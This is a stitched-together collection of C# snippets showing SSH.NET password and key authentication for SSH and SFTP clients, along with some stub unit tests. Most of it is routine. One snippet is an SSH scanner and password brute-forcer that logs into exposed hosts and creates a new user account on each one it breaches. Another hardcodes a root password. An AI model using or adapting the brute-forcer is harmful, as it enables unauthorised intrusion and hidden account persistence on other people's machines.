private ConnectionInfo CreateConnectionInfo() { AuthenticationMethod auth = new PasswordAuthenticationMethod(txtUsername.Text, txtPassword.Text); ConnectionInfo info = new ConnectionInfo(txtIP.Text, Int32.Parse(txtPort.Text), txtUsername.Text, auth); return(info); }
//------------------------------------------------------------------ // コンストラクタ public CSftp() { HostName = "aus-d4w-cloud.ozbackups.com.au"; // 接続先ホスト名 Port = 22; // ポート UserName = "******"; // ユーザー名 Password = "******"; // パスワード string KeyFile = @"E:\2.ppk"; // 秘密鍵 string PassPhrase = ""; // パスフレーズ // パスワード認証 var _PassAuth = new PasswordAuthenticationMethod(UserName, Password); // 秘密鍵認証 var _PrivateKey = new PrivateKeyAuthenticationMethod(UserName, new PrivateKeyFile[] { new PrivateKeyFile(KeyFile, PassPhrase) }); //PrivateKeyFile privateKey; //using (var keystrm = new MemoryStream(Encoding.ASCII.GetBytes(keyStr))) //{ // privateKey = new PrivateKeyFile(keystrm); //} // 接続情報の生成 //var _PrivateKey = new PrivateKeyAuthenticationMethod(UserName, privateKey); ConnNfo = new ConnectionInfo(HostName, Port, UserName, new AuthenticationMethod[] { _PassAuth, // パスワード認証 _PrivateKey, // 秘密鍵認証 } ); }
public Stream CreateInstance(StreamMode streamMode) { if (!Enum.IsDefined(typeof(StreamMode), streamMode)) { throw new ArgumentOutOfRangeException(nameof(streamMode)); } PasswordAuthenticationMethod passwordMethod = new PasswordAuthenticationMethod(_credentials.UserName, _credentials.Password); KeyboardInteractiveAuthenticationMethod keyboardMethod = new KeyboardInteractiveAuthenticationMethod(_credentials.UserName); keyboardMethod.AuthenticationPrompt += (sender, e) => { foreach (AuthenticationPrompt prompt in e.Prompts) { if (prompt.Request.IndexOf("Password:", StringComparison.InvariantCultureIgnoreCase) != -1) { prompt.Response = _credentials.Password; } } }; ConnectionInfo connectionInfo = new ConnectionInfo(_uri.Host, _credentials.UserName, passwordMethod, keyboardMethod); return(new SFTPStream(_uri, connectionInfo, streamMode)); }
public SSHExecutor(string hostIP, string hostUsername, string hostPassword) { _hostIp = hostIP; _hostUsername = hostUsername; // We assume that if 'password' begins with this magic, then we should do keypair auth. if (hostPassword.Trim().ToUpper().StartsWith("-----BEGIN RSA PRIVATE KEY-----") || hostPassword.Trim().ToUpper().StartsWith("-----BEGIN DSA PRIVATE KEY-----")) { // This is a huge bodge, but FreeNAS 11 won't let me do password auth as root, even when I enable it in the UI and faff. // Because of this, need a quick way to support keypair auth. using (MemoryStream mem = new MemoryStream(Encoding.ASCII.GetBytes(hostPassword))) { inf = new ConnectionInfo(_hostIp, _hostUsername, new AuthenticationMethod[] { new PrivateKeyAuthenticationMethod(_hostUsername, new PrivateKeyFile[] { new PrivateKeyFile(mem), }), }); } } else { // Otherwise, we do password auth. // VMWare ESXi is configured to deny password auth but permit keyboard-interactive auth out of the box, so we support // this and fallback to password auth if needed. KeyboardInteractiveAuthenticationMethod interactiveAuth = new KeyboardInteractiveAuthenticationMethod(_hostUsername); interactiveAuth.AuthenticationPrompt += authCB; // Keyboard auth is the only supported scheme for the iLos. _hostPassword = hostPassword; PasswordAuthenticationMethod passwordAuth = new PasswordAuthenticationMethod(_hostUsername, hostPassword); inf = new ConnectionInfo(_hostIp, _hostUsername, interactiveAuth, passwordAuth); } }
//------------------------------------------------------------------ // コンストラクタ public CSftp() { HostName = "localhost"; // 接続先ホスト名 Port = 10221; // ポート UserName = "******"; // ユーザー名 Password = "******"; // パスワード string KeyFile = @"..\..\docker\ssh\id_rsa"; // 秘密鍵 string PassPhrase = ""; // パスフレーズ // パスワード認証 var _PassAuth = new PasswordAuthenticationMethod(UserName, Password); // 秘密鍵認証 var _PrivateKey = new PrivateKeyAuthenticationMethod(UserName, new PrivateKeyFile[] { new PrivateKeyFile(KeyFile, PassPhrase) }); // 接続情報の生成 ConnNfo = new ConnectionInfo(HostName, Port, UserName, new AuthenticationMethod[] { _PassAuth, // パスワード認証 _PrivateKey, // 秘密鍵認証 } ); }
public SftpUploader(AppConfig conf) { this.config = conf; if (config.sftpEnabled) { AuthenticationMethod[] auths = new AuthenticationMethod[1]; if (String.IsNullOrWhiteSpace(config.sftpPrivateKeyPath)) { auths[0] = new PasswordAuthenticationMethod(config.sftpUsername, Utils.GetBytes(config.sftpPassword)); } else { try { PrivateKeyFile pkf = null; if (string.IsNullOrEmpty(config.sftpPassword)) { pkf = new PrivateKeyFile(config.sftpPrivateKeyPath); } else { pkf = new PrivateKeyFile(config.sftpPrivateKeyPath, config.sftpPassword); } auths[0] = new PrivateKeyAuthenticationMethod(config.sftpUsername, pkf); } catch (IOException) { Log.Error("Unable to read private key file: " + config.sftpPrivateKeyPath); return; } } connInfo = new ConnectionInfo(config.sftpRemoteServer, config.sftpUsername, auths); } }
private ConnectionInfo CreateConnectionInfo() { AuthenticationMethod auth = new PasswordAuthenticationMethod(username, password); ConnectionInfo info = new ConnectionInfo(ip, port, username, auth); return(info); }
public XDocument GetExternalFeedDocument(ImportSettings account) { try { var stream = new MemoryStream(); var authMethod = new PasswordAuthenticationMethod(account.Username, account.Password); var connectionInfo = new ConnectionInfo(account.Url, 22, account.Username, authMethod); using (var bazaarVoiceSftp = new SftpClient(connectionInfo)) { _log.Debug("Import -- External Feed -- Connecting"); bazaarVoiceSftp.Connect(); _log.Info("Import -- External Feed -- Downloading"); bazaarVoiceSftp.DownloadFile(account.FolderPath + account.FileName, stream); _log.Debug("Import -- External Feed -- Download Complete"); bazaarVoiceSftp.Disconnect(); stream.Position = 0; return(DeserializeFromStream(stream, account.XNamespace)); } } catch (Exception ex) { _log.Error("Import -- External Feed -- Connection Failed with exception message of -- " + ex.Message); return(new XDocument()); } }
private static AuthenticationMethod[] passwordObject(string username, string password) { // PrivateKeyFile privateKeyFile = new PrivateKeyFile(publicKeyPath); PasswordAuthenticationMethod passwordAuthenticationMethod = new PasswordAuthenticationMethod(username, password); return(new AuthenticationMethod[] { passwordAuthenticationMethod }); }
private static ConnectionInfo CreateConnectionInfo(Cihazlar c) { AuthenticationMethod auth = new PasswordAuthenticationMethod(c.Username, c.Password); ConnectionInfo info = new ConnectionInfo(c.Adres, c.Port, c.Username, auth); return(info); }
// raspberry pi request over putty command line public static void rasPiThreadStart() { SshCommand sshConsole; lock (_threadResultString) { try { SshClient sshClient; KeyboardInteractiveAuthenticationMethod keybAuth = new KeyboardInteractiveAuthenticationMethod(_rasPiConfig[1]); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(_rasPiConfig[1], _rasPiConfig[2]); keybAuth.AuthenticationPrompt += new EventHandler <Renci.SshNet.Common.AuthenticationPromptEventArgs>(HandleKeyEvent); ConnectionInfo connectionInfo = new ConnectionInfo(_rasPiConfig[0], 22, _rasPiConfig[1], pauth, keybAuth); sshClient = new SshClient(connectionInfo); sshClient.KeepAliveInterval = TimeSpan.FromSeconds(30); _threadResultString[1] = "connect ssh client to Raspberry Pi"; sshClient.Connect(); _threadResultString[2] = "ssh client connected"; String commandString = "sudo ./RasPiAutomation.sh " + _commandString + " " + _idString + " /dev/null"; sshConsole = sshClient.RunCommand(commandString); _threadResultString[3] = sshConsole.CommandText; _threadResultString[4] = sshConsole.Result; sshClient.Disconnect(); } catch (Exception e) { _threadResultString[0] = "Error in Raspberry Pi thread!/n" + e.Message; } } }
public SshClient connect() { try { KeyboardInteractiveAuthenticationMethod kauth = new KeyboardInteractiveAuthenticationMethod(this.user); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(this.user, this.pass); kauth.AuthenticationPrompt += new EventHandler <AuthenticationPromptEventArgs>(HandleKeyEvent); ConnectionInfo connectionInfo = new ConnectionInfo(this.host, 22, this.user, pauth, kauth); client = new SshClient(connectionInfo); client.Connect(); } catch (Exception ex) { } void HandleKeyEvent(Object sender, AuthenticationPromptEventArgs e) { foreach (AuthenticationPrompt prompt in e.Prompts) { if (prompt.Request.IndexOf("Password:", StringComparison.InvariantCultureIgnoreCase) != -1) { prompt.Response = this.pass; } } } return(client); }
private static async Task <bool> GetWorkingConnectionInfo(string ip, TimeSpan timeout) { //User auth method KeyboardInteractiveAuthenticationMethod authMethod = new KeyboardInteractiveAuthenticationMethod("lvuser"); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod("lvuser", ""); authMethod.AuthenticationPrompt += (sender, e) => { foreach ( AuthenticationPrompt p in e.Prompts.Where( p => p.Request.IndexOf("Password:"******""; } }; //Admin Auth Method KeyboardInteractiveAuthenticationMethod authMethodAdmin = new KeyboardInteractiveAuthenticationMethod("admin"); PasswordAuthenticationMethod pauthAdmin = new PasswordAuthenticationMethod("admin", ""); authMethodAdmin.AuthenticationPrompt += (sender, e) => { foreach ( AuthenticationPrompt p in e.Prompts.Where( p => p.Request.IndexOf("Password:"******""; } }; s_lvUserConnectionInfo = new ConnectionInfo(ip, "lvuser", pauth, authMethod) { Timeout = timeout }; s_adminConnectionInfo = new ConnectionInfo(ip, "admin", pauthAdmin, authMethodAdmin) { Timeout = timeout }; using (SshClient zeroConfClient = new SshClient(s_lvUserConnectionInfo)) { try { await Task.Run(() => zeroConfClient.Connect()); return(true); } catch (SocketException) { return(false); } catch (SshOperationTimeoutException) { return(false); } } }
// TODO: Add methods for using other auth methods. public static bool CreateSshConnection(string host, string username, string password, out string error, string name = "") { bool toReturn = false; error = ""; try { // Setup our auth method (I.E set username and password) AuthenticationMethod auth = new PasswordAuthenticationMethod("username", "password"); // Create our connection information ConnectionInfo connInfo = new ConnectionInfo("host", "username", auth); // now connect to the server. SshClient client = new SshClient(connInfo); client.Connect(); if (string.IsNullOrEmpty(name)) { _activeClients.Add("", client); } else { _activeClients.Add(name, client); } Console.WriteLine("Connected to: {0}", host); toReturn = true; } catch (SshConnectionException sce) { // TODO: Handle this correctly. Console.WriteLine(sce.ToString()); } catch (SshException se) { // TODO: Handle this correctly. Console.WriteLine(se.ToString()); } catch (SocketException se) { if (se.Message == "No such host is known") { Console.WriteLine("Could not connect to host. Please check the hostname."); } } catch (Exception ex) { // TODO: Handle this correctly. Console.WriteLine(ex.ToString()); } finally { } return(toReturn); }
void sshterm() { PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod("root", @"Mr\6(atn2).F"); ConnectionInfo connectionInfo = new ConnectionInfo("192.168.197.100", 22, "root", pauth); SshClient client = new SshClient(connectionInfo); client.Connect(); string reply = string.Empty; shellStream = client.CreateShellStream("dumb", 80, 24, 800, 600, 1024); sread = new StreamReader(shellStream); shellStream.DataReceived += DataReceivedEventHandler; Console.CancelKeyPress += CtlCEventHandler; ConsoleKeyInfo keyInfo; String output; while (client.IsConnected) { keyInfo = Console.ReadKey(true); output = keyInfo.KeyChar.ToString(); if (keyInfo.Modifiers == ConsoleModifiers.Control && keyInfo.Key == ConsoleKey.T) { } shellStream.Write(output); } }
public async Task <SshResponse> RunCommandAsync(string command) { SshResponse result = null; if (!await ConnectionUtil.CheckConnectionAsync(host)) { throw new Exception(string.Format("Server {0} unreachable", host)); } await Task.Run(() => { KeyboardInteractiveAuthenticationMethod keyboardbAuthentication = new KeyboardInteractiveAuthenticationMethod(credential.UserName); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(credential.UserName, credential.Password); keyboardbAuthentication.AuthenticationPrompt += new EventHandler <AuthenticationPromptEventArgs>(HandleKeyEvent); ConnectionInfo connectionInfo = new ConnectionInfo(host, 22, credential.UserName, pauth, keyboardbAuthentication); using (SshClient client = new SshClient(connectionInfo)) { try { client.Connect(); var commandResult = client.RunCommand(command); result = new SshResponse(commandResult.Result, commandResult.ExitStatus); } catch (Exception e) { result = new SshResponse(e.Message, -1); } } }); return(result); }
public void PasswordAuthenticationMethodConstructorTest1() { string username = string.Empty; // TODO: Initialize to an appropriate value string password = string.Empty; // TODO: Initialize to an appropriate value PasswordAuthenticationMethod target = new PasswordAuthenticationMethod(username, password); Assert.Inconclusive("TODO: Implement code to verify target"); }
public Byte[] DownloadBinary(string filePath, int length) { Byte[] data = new byte[length]; try { KeyboardInteractiveAuthenticationMethod keybAuth = new KeyboardInteractiveAuthenticationMethod(_rasPiConfig[1]); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(_rasPiConfig[1], _rasPiConfig[2]); keybAuth.AuthenticationPrompt += new EventHandler <Renci.SshNet.Common.AuthenticationPromptEventArgs>(HandleKeyEvent); ConnectionInfo connectionInfo = new ConnectionInfo(_rasPiConfig[0], 22, _rasPiConfig[1], pauth, keybAuth); var client = new SftpClient(connectionInfo); _rasPiForm._logDat.sendInfoMessage("download binary data to Raspberry Pi\n"); client.Connect(); var stream = new MemoryStream(); client.DownloadFile(filePath, stream); stream.Read(data, 0, data.Length); stream.Position = 0; client.Disconnect(); } catch (Exception e) { _rasPiForm._logDat.sendInfoMessage("Error on download binary data\n" + e.Message); } return(data); }
private bool PushToSftp(FeedSettings account, byte[] xmlfile) { try { var authMethod = new PasswordAuthenticationMethod(account.UserName, account.Password); var connectionInfo = new ConnectionInfo(account.Url, 22, account.UserName, authMethod); using (var bazaarVoiceSftp = new SftpClient(connectionInfo)) { using (var stream = new MemoryStream(xmlfile, 0, xmlfile.Length)) { _log.Info("Export -- XML Document -- Saving -- SFTP -- Connecting"); bazaarVoiceSftp.Connect(); _log.Info("Export -- XML Document -- Saving -- SFTP -- Uploading"); bazaarVoiceSftp.UploadFile(stream, account.FolderPath + account.FileName); bazaarVoiceSftp.Disconnect(); return(true); } } } catch (Exception ex) { _log.Info("Export -- XML Document -- Saving -- SFTP -- Connection Failed with exception message of -- " + ex.Message); return(false); } }
public bool Connect(string host, string user, string password, int port = 22) { PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(user, password); ConnectionInfo connectionInfo = new ConnectionInfo(host, 22, user, pauth ); this._sshClient = new SshClient(connectionInfo); this._sshClient.Connect(); if (this._sshClient.IsConnected) { var terminalMode = new Dictionary <TerminalModes, uint>(); terminalMode.Add(TerminalModes.ECHO, 53); var stream = this._sshClient.CreateShellStream("terminal", 0, 0, 0, 0, 4096, terminalMode); this._reader = new StreamReader(stream); this._writer = new StreamWriter(stream) { AutoFlush = true }; } return(true); }
private ConnectionInfo CreateConnectionInfo(Host host) { AuthenticationMethod auth = null; if (host.SecretType == LoginSecretType.Password) { auth = new PasswordAuthenticationMethod(host.UserName, host.Password); } else if (host.SecretType == LoginSecretType.PrivateKey) { auth = new PrivateKeyAuthenticationMethod(host.UserName, new PrivateKeyFile(host.PrivateKeyPath)); } if (host.Proxy.Type == LocalProxyType.None) { return(new ConnectionInfo(host.Address, host.Port, host.UserName, auth)); } else { return(new ConnectionInfo( host: host.Address, port: host.Port, username: host.UserName, proxyType: (ProxyTypes)(int)host.Proxy.Type, proxyHost: host.Proxy.Address, proxyPort: host.Proxy.Port, proxyUsername: host.Proxy.UserName, proxyPassword: host.Proxy.Password, authenticationMethods: auth)); } }
public SSHTool(SSHOptions _options, bool _verbose) { this.options = _options; this.verbose = _verbose; AuthenticationMethod authentication; if (options.PrivateKeyFile != null) { authentication = new PrivateKeyAuthenticationMethod(options.Username, new PrivateKeyFile[] { new PrivateKeyFile(options.PrivateKeyFile, options.Password) } ); } else { authentication = new PasswordAuthenticationMethod(options.Username, options.Password); } connectionInfo = new ConnectionInfo(options.Hostname, options.Port, options.Username, authentication); sshclient = new SshClient(connectionInfo); sftpclient = new SftpClient(connectionInfo); }
public void CreateSFTPConnectionInfo() { if (settings.ftpProtocol == 0) { return; } try { AuthenticationMethod auth; if (settings.ftpMethod == 0) { auth = new PasswordAuthenticationMethod(settings.ftpUsername, settings.ftpPassword); } else { var key = settings.ftpPassphrase != string.Empty ? new PrivateKeyFile(settings.ftpKeyfile, settings.ftpPassphrase) : new PrivateKeyFile(settings.ftpKeyfile); auth = new PrivateKeyAuthenticationMethod(settings.ftpUsername, key); } ftpConnectionInfo = new ConnectionInfo( settings.ftpHost, settings.ftpPort, settings.ftpUsername, auth); } catch (Exception) { ftpConnectionInfo = null; } }
public void DisableSocketServer() { SshClient sshClient = null; try { var authenticationMethod = new PasswordAuthenticationMethod(_user, _password); var connectionInfo = new ConnectionInfo(_rasPiAddress.ToString(), 22, _user, authenticationMethod); using (sshClient = new SshClient(connectionInfo)) { sshClient.Connect(); var getPIDListCommand = "ps -ef | awk '$NF~\"socketServer.py\" {print $2}'"; var runGetPIDListCommand = sshClient.CreateCommand(getPIDListCommand); var PIDList = runGetPIDListCommand.Execute(); if (!string.IsNullOrEmpty(PIDList)) { var PIDs = PIDList.TrimEnd('\n').Split('\n'); foreach (var PID in PIDs) { var killcommand = string.Format("sudo kill {0}", PID); var runKillcommand = sshClient.CreateCommand(killcommand); var killResult = runKillcommand.Execute(); break; } } } } catch { } }
/// <summary> /// FileTransfererの新しいインスタンスを作成します /// </summary> /// <param name="host"></param> /// <param name="port"></param> /// <param name="username"></param> /// <param name="password"></param> /// <returns></returns> public static FileTransferer Create(string host, int port, string username, string password) { var method = new PasswordAuthenticationMethod(username, password); var info = new ConnectionInfo(host, port, username, method); return(new FileTransferer(info)); }
/// <summary> /// 実行. /// </summary> /// <returns>成功したらtrueを返す。</returns> public bool Execute() { try { var AuthMethod = new PasswordAuthenticationMethod(UserName, Password); var ConnInfo = new ConnectionInfo(Host, UserName, AuthMethod); using (var Client = new SshClient(ConnInfo)) { Client.Connect(); Console.WriteLine(""); string Result = ""; string Error = ""; // 一旦マスタを全消去. string AllRemoveCommand = GenerateMySQLCommand("-e 'show tables from " + Config.MasterDataBaseName + "'"); AllRemoveCommand += " | grep ~*"; AllRemoveCommand += " | grep -v Tables_in"; AllRemoveCommand += " | xargs -I \"@@\" " + GenerateMySQLCommand("-e 'drop table " + Config.MasterDataBaseName + ".@@'"); ExecuteCommand(Client, AllRemoveCommand, out Result, out Error); // .sqlファイルを列挙. ExecuteCommand(Client, "ls -1 " + Config.HostSQLPath, out Result, out Error); string[] SQLFiles = Result.Split('\n'); // 片っ端からデータベースにブチ込む。 foreach (var SQLFile in SQLFiles) { if (String.IsNullOrEmpty(SQLFile)) { continue; } var FilePath = Config.HostSQLPath + "/" + SQLFile; Console.Write(Path.GetFileNameWithoutExtension(FilePath) + "の展開中..."); if (!ExecuteCommand(Client, GenerateMySQLCommand("-D " + Config.MasterDataBaseName + " < " + FilePath), out Result, out Error)) { Console.WriteLine("失敗。"); Console.WriteLine(Error); return(false); } Console.WriteLine("完了。"); } // 後片付け ExecuteCommand(Client, "rm -rf " + Config.HostSQLPath, out Result, out Error); Client.Disconnect(); } } catch (Exception e) { Console.WriteLine(""); Console.WriteLine(e.Message); return(false); } return(true); }
private void init() { KeyboardInteractiveAuthenticationMethod kauth = new KeyboardInteractiveAuthenticationMethod(this.username); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(this.username, this.password); kauth.AuthenticationPrompt += new EventHandler <AuthenticationPromptEventArgs>(HandleKeyEvent); this.Server = new SshClient(new ConnectionInfo(this.servername, this.port, this.username, pauth, kauth)); }
public void DisposeTest() { string username = string.Empty; // TODO: Initialize to an appropriate value byte[] password = null; // TODO: Initialize to an appropriate value PasswordAuthenticationMethod target = new PasswordAuthenticationMethod(username, password); // TODO: Initialize to an appropriate value target.Dispose(); Assert.Inconclusive("A method that does not return a value cannot be verified."); }
public SftpFileManager(string host, string userName, string password, ILogger <SftpFileManager> logger) { var authMethod = new PasswordAuthenticationMethod(userName, password); _connectionInfo = new ConnectionInfo(host, userName, authMethod); _client = new SftpClient(_connectionInfo); _logger = logger; }
static void Main(string[] args) { var ipList = NetworkAddressRange.GetRange(ipRangeStart, ipRangeEnd); ipList.Scramble(); var numScanned = 0; var addressPortOpen = new BlockingCollection <IPAddress>(ipList.Count); Console.CursorVisible = false; new Thread(() => { Thread.CurrentThread.IsBackground = true; do { Console.SetCursorPosition(0, 0); Console.WriteLine($"Scanned: {numScanned} out of {ipList.Count}"); Console.WriteLine($"Open:\t {addressPortOpen.Count}"); Thread.Sleep(1000); } while(numScanned < ipList.Count); }).Start(); Parallel.ForEach(ipList, (ip) => { if (PortScanner.IsPortOpen(ip, portNum, portScanTimeout)) { addressPortOpen.Add(ip); } numScanned++; }); Console.Clear(); Console.SetCursorPosition(0, 0); Console.WriteLine($"{addressPortOpen.Count} addresses with port {portNum} open."); foreach (var ip in addressPortOpen) { foreach (var pass in passAttempt) { var passAuth = new PasswordAuthenticationMethod(userAttempt, pass); var connectionInfo = new ConnectionInfo(ip.ToString(), userAttempt, passAuth); using (var ssh = new SshClient(connectionInfo)) { try { ssh.Connect(); Console.WriteLine($"{ip} accessed."); ssh.CreateCommand($"{createUser} && {createPassword}").Execute(); ssh.Disconnect(); break; } catch { } } } // foreach pass } // foreach ip }
public void NameTest() { string username = string.Empty; // TODO: Initialize to an appropriate value byte[] password = null; // TODO: Initialize to an appropriate value PasswordAuthenticationMethod target = new PasswordAuthenticationMethod(username, password); // TODO: Initialize to an appropriate value string actual; actual = target.Name; Assert.Inconclusive("Verify the correctness of this test method."); }
public void AuthenticateTest() { string username = string.Empty; // TODO: Initialize to an appropriate value byte[] password = null; // TODO: Initialize to an appropriate value PasswordAuthenticationMethod target = new PasswordAuthenticationMethod(username, password); // TODO: Initialize to an appropriate value Session session = null; // TODO: Initialize to an appropriate value AuthenticationResult expected = new AuthenticationResult(); // TODO: Initialize to an appropriate value AuthenticationResult actual; actual = target.Authenticate(session); Assert.AreEqual(expected, actual); Assert.Inconclusive("Verify the correctness of this test method."); }
public void Test_BaseClient_IsConnected_True_After_Disconnect() { // 2012-04-29 - Kenneth_aa // The problem with this test, is that after SSH Net calls .Disconnect(), the library doesn't wait // for the server to confirm disconnect before IsConnected is checked. And now I'm not mentioning // anything about Socket's either. var connectionInfo = new PasswordAuthenticationMethod(Resources.USERNAME, Resources.PASSWORD); using (SftpClient client = new SftpClient(Resources.HOST, int.Parse(Resources.PORT), Resources.USERNAME, Resources.PASSWORD)) { client.Connect(); Assert.AreEqual<bool>(true, client.IsConnected, "IsConnected is not true after Connect() was called."); client.Disconnect(); Assert.AreEqual<bool>(false, client.IsConnected, "IsConnected is true after Disconnect() was called."); } }